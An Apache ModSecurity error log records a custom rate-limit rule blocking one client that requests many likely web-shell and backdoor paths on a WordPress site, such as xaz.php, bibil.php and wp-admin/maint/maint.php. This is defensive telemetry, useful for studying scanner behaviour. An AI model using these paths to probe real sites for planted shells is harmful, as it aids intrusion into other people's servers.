[Sat Dec 27 03:50:37.821001 2025] [:error] [pid 53444:tid 53506] [client 4.189.107.91:13145] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aU7nDeu6cLWyKXCdJRwjWQAAAE8"]
[Sat Dec 27 03:50:38.079088 2025] [:error] [pid 53443:tid 53454] [client 4.189.107.91:13190] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aU7nDovixl-n325_196yZQAAAAE"]
[Sat Dec 27 03:50:38.378501 2025] [:error] [pid 53444:tid 53510] [client 4.189.107.91:13229] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aU7nDuu6cLWyKXCdJRwjWwAAAFM"]
[Sat Dec 27 03:50:38.606595 2025] [:error] [pid 53443:tid 53476] [client 4.189.107.91:13233] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aU7nDovixl-n325_196yaAAAABc"]
[Sat Dec 27 03:50:38.838604 2025] [:error] [pid 53443:tid 53457] [client 4.189.107.91:13151] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aU7nDovixl-n325_196yaQAAAAQ"]
[Sat Dec 27 03:50:39.068386 2025] [:error] [pid 53443:tid 53465] [client 4.189.107.91:13132] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xaz.php"] [unique_id "aU7nD4vixl-n325_196yagAAAAw"]
[Sat Dec 27 03:50:39.295730 2025] [:error] [pid 53443:tid 53459] [client 4.189.107.91:13240] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xaz.php"] [unique_id "aU7nD4vixl-n325_196yawAAAAY"]
[Sat Dec 27 03:50:39.522316 2025] [:error] [pid 53443:tid 53474] [client 4.189.107.91:18856] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xaz.php"] [unique_id "aU7nD4vixl-n325_196ybAAAABU"]
[Sat Dec 27 03:50:39.756591 2025] [:error] [pid 53443:tid 53475] [client 4.189.107.91:18895] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xaz.php"] [unique_id "aU7nD4vixl-n325_196ybQAAABY"]
[Sat Dec 27 03:50:39.990184 2025] [:error] [pid 53443:tid 53470] [client 4.189.107.91:13185] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aU7nD4vixl-n325_196ybwAAABE"]
[Sat Dec 27 03:50:40.249896 2025] [:error] [pid 53443:tid 53467] [client 4.189.107.91:13186] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aU7nEIvixl-n325_196ycQAAAA4"]
[Sat Dec 27 03:50:40.559999 2025] [:error] [pid 53550:tid 53559] [client 4.189.107.91:13164] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aU7nELgHjjFoyoP_DoHGoQAAAMU"]
[Sat Dec 27 03:50:40.816271 2025] [:error] [pid 53443:tid 53477] [client 4.189.107.91:13280] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aU7nEIvixl-n325_196ycgAAABg"]
[Sat Dec 27 03:50:41.088041 2025] [:error] [pid 53550:tid 53566] [client 4.189.107.91:13228] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o1.php"] [unique_id "aU7nEbgHjjFoyoP_DoHGogAAAMw"]
[Sat Dec 27 03:50:41.390864 2025] [:error] [pid 53550:tid 53560] [client 4.189.107.91:13258] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o1.php"] [unique_id "aU7nEbgHjjFoyoP_DoHGpAAAAMY"]
[Sat Dec 27 03:50:41.706421 2025] [:error] [pid 53444:tid 53492] [client 4.189.107.91:13140] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o1.php"] [unique_id "aU7nEeu6cLWyKXCdJRwjXAAAAEE"]
[Sat Dec 27 03:50:42.029084 2025] [:error] [pid 53444:tid 53491] [client 4.189.107.91:13187] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o1.php"] [unique_id "aU7nEuu6cLWyKXCdJRwjXQAAAEA"]
[Sat Dec 27 03:50:42.316287 2025] [:error] [pid 53443:tid 53472] [client 4.189.107.91:13183] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "aU7nEovixl-n325_196ydgAAABM"]
[Sat Dec 27 03:50:42.623123 2025] [:error] [pid 53444:tid 53515] [client 4.189.107.91:13246] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "aU7nEuu6cLWyKXCdJRwjXwAAAFg"]
[Sat Dec 27 03:50:42.921738 2025] [:error] [pid 53444:tid 53501] [client 4.189.107.91:18862] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "aU7nEuu6cLWyKXCdJRwjYAAAAEo"]
[Sat Dec 27 03:50:43.218612 2025] [:error] [pid 53444:tid 53496] [client 4.189.107.91:13075] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "aU7nE-u6cLWyKXCdJRwjYgAAAEU"]
[Sat Dec 27 03:50:43.463432 2025] [:error] [pid 53443:tid 53456] [client 4.189.107.91:13232] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aU7nE4vixl-n325_196yeAAAAAM"]
[Sat Dec 27 03:50:43.691995 2025] [:error] [pid 53550:tid 53561] [client 4.189.107.91:13281] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aU7nE7gHjjFoyoP_DoHGpgAAAMc"]
[Sat Dec 27 03:50:43.919145 2025] [:error] [pid 53550:tid 53575] [client 4.189.107.91:13238] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aU7nE7gHjjFoyoP_DoHGpwAAANU"]
[Sat Dec 27 03:50:44.146055 2025] [:error] [pid 53550:tid 53574] [client 4.189.107.91:13150] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aU7nFLgHjjFoyoP_DoHGqAAAANQ"]
[Sat Dec 27 03:50:44.372519 2025] [:error] [pid 53550:tid 53572] [client 4.189.107.91:13231] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aU7nFLgHjjFoyoP_DoHGqQAAANI"]
[Sat Dec 27 03:50:44.608890 2025] [:error] [pid 53550:tid 53576] [client 4.189.107.91:18890] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aU7nFLgHjjFoyoP_DoHGqgAAANY"]
[Sat Dec 27 03:50:44.834854 2025] [:error] [pid 53550:tid 53573] [client 4.189.107.91:12688] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aU7nFLgHjjFoyoP_DoHGqwAAANM"]
[Sat Dec 27 03:50:48.136632 2025] [:error] [pid 53550:tid 53557] [client 4.189.107.91:13122] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aU7nGLgHjjFoyoP_DoHGxAAAAMM"]
[Sat Dec 27 03:50:48.364093 2025] [:error] [pid 53445:tid 53534] [client 4.189.107.91:13197] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aU7nGJExImFfF-26sOBqSwAAAJA"]
[Sat Dec 27 03:50:48.590582 2025] [:error] [pid 53445:tid 53519] [client 4.189.107.91:13129] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aU7nGJExImFfF-26sOBqTAAAAIE"]
[Sat Dec 27 03:50:48.817793 2025] [:error] [pid 53445:tid 53536] [client 4.189.107.91:13143] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aU7nGJExImFfF-26sOBqTQAAAJI"]
[Sat Dec 27 03:50:49.053991 2025] [:error] [pid 53445:tid 53535] [client 4.189.107.91:13169] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "aU7nGZExImFfF-26sOBqTgAAAJE"]
[Sat Dec 27 03:50:49.298856 2025] [:error] [pid 53444:tid 53495] [client 4.189.107.91:13177] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "aU7nGeu6cLWyKXCdJRwjZAAAAEQ"]
[Sat Dec 27 03:50:49.533943 2025] [:error] [pid 53445:tid 53531] [client 4.189.107.91:13137] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "aU7nGZExImFfF-26sOBqTwAAAI0"]
[Sat Dec 27 03:50:49.759765 2025] [:error] [pid 53444:tid 53493] [client 4.189.107.91:18865] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "aU7nGeu6cLWyKXCdJRwjZgAAAEI"]
[Sat Dec 27 03:50:49.986423 2025] [:error] [pid 53445:tid 53539] [client 4.189.107.91:13128] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aU7nGZExImFfF-26sOBqUAAAAJU"]
[Sat Dec 27 03:50:50.213046 2025] [:error] [pid 53443:tid 53470] [client 4.189.107.91:13139] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aU7nGovixl-n325_196ygAAAABE"]
[Sat Dec 27 03:50:50.463085 2025] [:error] [pid 53444:tid 53503] [client 4.189.107.91:13213] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aU7nGuu6cLWyKXCdJRwjZwAAAEw"]
[Sat Dec 27 03:50:50.693277 2025] [:error] [pid 53445:tid 53528] [client 4.189.107.91:13162] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aU7nGpExImFfF-26sOBqUQAAAIo"]
[Sat Dec 27 03:50:50.921405 2025] [:error] [pid 53445:tid 53540] [client 4.189.107.91:13167] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bibil.php"] [unique_id "aU7nGpExImFfF-26sOBqUgAAAJY"]
[Sat Dec 27 03:50:51.147567 2025] [:error] [pid 53444:tid 53506] [client 4.189.107.91:12730] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bibil.php"] [unique_id "aU7nG-u6cLWyKXCdJRwjaAAAAE8"]
[Sat Dec 27 03:50:51.376365 2025] [:error] [pid 53444:tid 53509] [client 4.189.107.91:13207] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bibil.php"] [unique_id "aU7nG-u6cLWyKXCdJRwjaQAAAFI"]
[Sat Dec 27 03:50:51.604606 2025] [:error] [pid 53445:tid 53520] [client 4.189.107.91:13160] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bibil.php"] [unique_id "aU7nG5ExImFfF-26sOBqUwAAAII"]
[Sat Dec 27 03:50:51.831046 2025] [:error] [pid 53443:tid 53473] [client 4.189.107.91:13243] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aU7nG4vixl-n325_196ygwAAABQ"]
[Sat Dec 27 03:50:52.058803 2025] [:error] [pid 53445:tid 53541] [client 4.189.107.91:13130] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aU7nHJExImFfF-26sOBqVAAAAJc"]
[Sat Dec 27 03:50:52.285307 2025] [:error] [pid 53444:tid 53510] [client 4.189.107.91:13157] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aU7nHOu6cLWyKXCdJRwjagAAAFM"]
[Sat Dec 27 03:50:52.514851 2025] [:error] [pid 53550:tid 53564] [client 4.189.107.91:13136] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aU7nHLgHjjFoyoP_DoHGxgAAAMo"]
[Sat Dec 27 03:50:52.747887 2025] [:error] [pid 53445:tid 53533] [client 4.189.107.91:13173] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "aU7nHJExImFfF-26sOBqVQAAAI8"]
[Sat Dec 27 03:50:52.974727 2025] [:error] [pid 53550:tid 53562] [client 4.189.107.91:12681] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "aU7nHLgHjjFoyoP_DoHGxwAAAMg"]
[Sat Dec 27 03:50:53.207026 2025] [:error] [pid 53550:tid 53559] [client 4.189.107.91:13161] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "aU7nHbgHjjFoyoP_DoHGyAAAAMU"]
[Sat Dec 27 03:50:53.434104 2025] [:error] [pid 53445:tid 53542] [client 4.189.107.91:13310] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "aU7nHZExImFfF-26sOBqVgAAAJg"]
[Sat Dec 27 03:50:53.662220 2025] [:error] [pid 53443:tid 53477] [client 4.189.107.91:13128] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aU7nHYvixl-n325_196yhQAAABg"]
[Sat Dec 27 03:50:53.896973 2025] [:error] [pid 53443:tid 53468] [client 4.189.107.91:18943] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aU7nHYvixl-n325_196yhgAAAA8"]
[Sat Dec 27 03:50:54.123653 2025] [:error] [pid 53445:tid 53518] [client 4.189.107.91:12680] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aU7nHpExImFfF-26sOBqVwAAAIA"]
